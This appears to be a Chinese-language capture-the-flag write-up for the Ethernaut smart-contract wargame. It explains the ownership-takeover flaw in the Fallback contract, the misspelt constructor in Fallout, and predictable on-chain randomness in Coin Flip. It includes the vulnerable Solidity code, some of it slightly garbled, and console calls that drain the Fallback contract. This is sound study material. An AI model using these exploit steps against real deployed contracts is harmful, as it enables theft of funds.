Ethernaut WriteUp

Hello Ethernaut

  1. 使用 Sepolia Faucet 获取测试网以太币
  2. 点击 Get new instance,创建新的合约实例(需支付代币)
  3. 在 Console 与其进行交互,依次调用 contract.info()contract.info2()contract.infoNum()contract.info42()contract.theMethodName()contract.method7123949()
  4. 获取 contract.password(),并调用 contract.authenticate(xxx) 创建交易(需支付代币)
  5. 点击 Submit instance 提交实例,通过验证

Fallback

Abstract

此题的目标是:

  1. 将自身地址作为合约的 owner
  2. 将合约中的 balance 取到自己的账户中
合约代码

// SPDX-License-Identifier: MIT
pragma solidity

{ #0}
.8.0;

contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

观察合约中的各个函数可以发现,要修改 owner,则需要触发 receive() 函数

// 先存钱进入账户,使得 contribution[msg.sender] > 0
await contract.contribute.sendTranscation({value: 1})
// 通过 contract.sendTranscation 调用 receive,修改 owner 为 msg.sender
await contract.sendTranscation({valu: 1})
// 调用 withdraw 函数去除 balance
await contract.withdraw()

Fallout

部分合约代码

contract Fallout {
	function Fal1out() public payable {
		owner = msg.sender:
		allocations[owner] = msg.value;
	}
}

在 solidity v0.4.22 以前,构造函数被定义为与所在合约同名的函数。因此,如果合约名称在开发过程中发生变化,而构造函数名称没有更改,它将变成正常的可调用函数。

这道题的漏洞的出现,是因为合约撰写者将 Fallout 打成了 Fal1out,而导致本被作为构造函数调用的代码变成了普通的公有函数。

Coin Flip

部分合约代码

这道题的漏洞主要在于合约中的随机数是链上可见的数据,从而失去其随机性。

同时通过这道题,初步学习了如何在 Remix 上编写合约并部署合约,与链上已有的合约进行交互。

出题者的初衷

Generating random numbers in solidity can be tricky. There currently isn't a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.
To get cryptographically proven random numbers, you can use Chainlink VRF, which uses an oracle, the LINK token, and an on-chain contract to verify that the number is truly random.
Some other options include using Bitcoin block headers (verified through BTC Relay), RANDAO, or Oraclize).

Reentrancy

详见 Reentrancy Attack